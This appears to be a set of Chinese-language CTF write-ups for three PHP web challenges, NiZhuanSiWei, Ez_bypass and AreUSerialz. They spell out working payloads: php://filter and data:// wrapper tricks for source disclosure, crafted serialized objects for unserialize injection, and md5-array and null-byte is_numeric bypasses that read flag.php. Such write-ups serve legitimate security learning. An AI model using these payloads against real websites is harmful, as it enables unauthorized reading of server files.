[ZJCTF 2019]NiZhuanSiWei1 Writeup
打开题目看到源码:
需要传入三个参数以get的方式:
其中text需要满足:text=welcome to the zjctf
看到include($file);中有提示 useless.php说明我们需要早file中访问useless.php
输入参数发现没有显示,查找资料看到了PHP伪协议
所以我们要用伪协议传入输入流,也就是构造payload
text=php://input
text=data://text/plain,welcome to the zjctf
至于file可以通过访问useless.php的base64编码,来得到useless.php 也是用到了PHP的伪协议:
file=php://filter/read=convert.base64-encode/resource=useless.php
得到useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
Include($file)在上面,file的payload中访问的useless.php
还有就是password,password在源代码中利用了反序列化:
$password = unserialize($password);
因此我们需要将password里面的值进行序列号化,那password的值需要参考useless.php
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
其实也可以简化成:
<?php
class Flag{ //flag.php
public $file="flag.php";
}
$a = new Flag();
echo serialize($a);
?>
最后的payload为: ?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
学到的PHP知识:
isset()是判断是否设置了,就是那种需要设置了才存在,没有设置就不存在的
file_get_contents()
[MRCTF2020]Ez_bypassxc writeup
看到源码:
需要以get的方式传入id和gg,满足md5($id) === md5($gg) && $id !== $gg 传入数组实现绕过payload为:url+?gg[]=1&id[]=2 然后就是passwd
要以post的方式传入,并且绕过函数if (!is_numeric($passwd)) 也以post方式传入不是数字以及数字符串的值,并且要为1234567才能显示flag.php
参考文章(1条消息) php中is_numeric函数的绕过_T0mrvvi1b3t的博客-优快云博客
在burp suite中抓包:
以post传入passwd=1234567%00后得到flag
[网鼎杯 2020 青龙组]AreUSerialz 1 writeup
查看源码:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
进行代码审计:
输入点为以get的方式提交str,这里对str的值进行了反序列化,所以考察的知识点即为构造序列化,
以及在is_valid的函数中对str的值进行了过滤,ASCII必须在32-125之间,通过学习看到了可以利用str进行对file的访问,但op必须等于2时才能进行文件路径的读取。
在这里找到了
(4条消息) [网鼎杯 2020 青龙组]AreUSerialz 1_fmyyy1的博客-优快云博客 学习了这篇文章
在process()函数中,传入的op要和"2"比较,在__desturct函数如果等于"2"的话op会被转成1,但__desturct函数里的是=== 等号强比较,process()是==若比较,所以只要传入整数型的2就可绕过,
如果进行构造protected类型的序列化字符串会出现\x00*\x00,\x00的ascii的值是0,php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过
<?php
class FLAG {
public $op = 2;
public $filename = "flag.php";
public $content = "ABC";
}
$a = new FLAG();
$b = serialize($a);
echo $b;
?>
参考脚本如上: